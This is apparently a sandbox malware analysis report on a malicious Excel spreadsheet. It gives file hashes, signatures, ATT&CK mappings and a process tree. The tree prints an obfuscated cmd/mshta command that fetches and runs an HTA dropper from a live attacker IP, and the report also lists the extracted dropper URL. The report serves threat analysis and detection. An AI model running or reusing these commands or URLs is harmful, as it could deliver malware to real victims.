8df334563bda9ebfdb62cd6dfefc46a1896c449b72c6587ccddb6365d17232fb

General

Target

8df334563bda9ebfdb62cd6dfefc46a1896c449b72c6587ccddb6365d17232fb.xls
Size

71KB
MD5

2019a97078177e1a30f7f45ea2ad0acf
SHA1

12f83ef29430bc356eddc6cfce6de47c36e6edce
SHA256

8df334563bda9ebfdb62cd6dfefc46a1896c449b72c6587ccddb6365d17232fb
SHA512

946ae615b545f3c2264e9010eaf5deab46f08991128417fa382786502829f55691859c21b91c2bc99b5d9b6dad0b2b5d7230558789be0c43ddd780a3066afa8d
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4896	3116	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	3700	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3116	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3116 wrote to memory of 4896	3116	EXCEL.EXE	86
PID 3116 wrote to memory of 4896	3116	EXCEL.EXE	86
PID 4896 wrote to memory of 3700	4896	cmd.exe	88
PID 4896 wrote to memory of 3700	4896	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8df334563bda9ebfdb62cd6dfefc46a1896c449b72c6587ccddb6365d17232fb.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:3700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
d0079f892a4d0f73b7f74c1e827cb036

SHA1
fa9085806032de7111eff285616c6fdaab389853

SHA256
1a4a6c0e0f08fb9205c9530bf9f31d84382a020d74e69c8e245d3cfdaa757156

SHA512
84180f40e67389a0726175c2e9bc0b658e3285f3343e7ed039f75aa790fc5e8b99bcea2102ff317c244846030e9004dcdbb03ac6c065c225af35a483a21082cb

Download Submit
memory/3116-13-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-3-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/3116-12-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-5-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-6-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-7-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/3116-4-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/3116-10-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-8-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-1-0x00007FF9067AD000-0x00007FF9067AE000-memory.dmp

Filesize
4KB

Download
memory/3116-0-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/3116-2-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/3116-9-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-14-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-16-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-15-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-18-0x00007FF8C4290000-0x00007FF8C42A0000-memory.dmp

Filesize
64KB

Download
memory/3116-17-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-31-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-32-0x00007FF9067AD000-0x00007FF9067AE000-memory.dmp

Filesize
4KB

Download
memory/3116-33-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/3116-11-0x00007FF8C4290000-0x00007FF8C42A0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads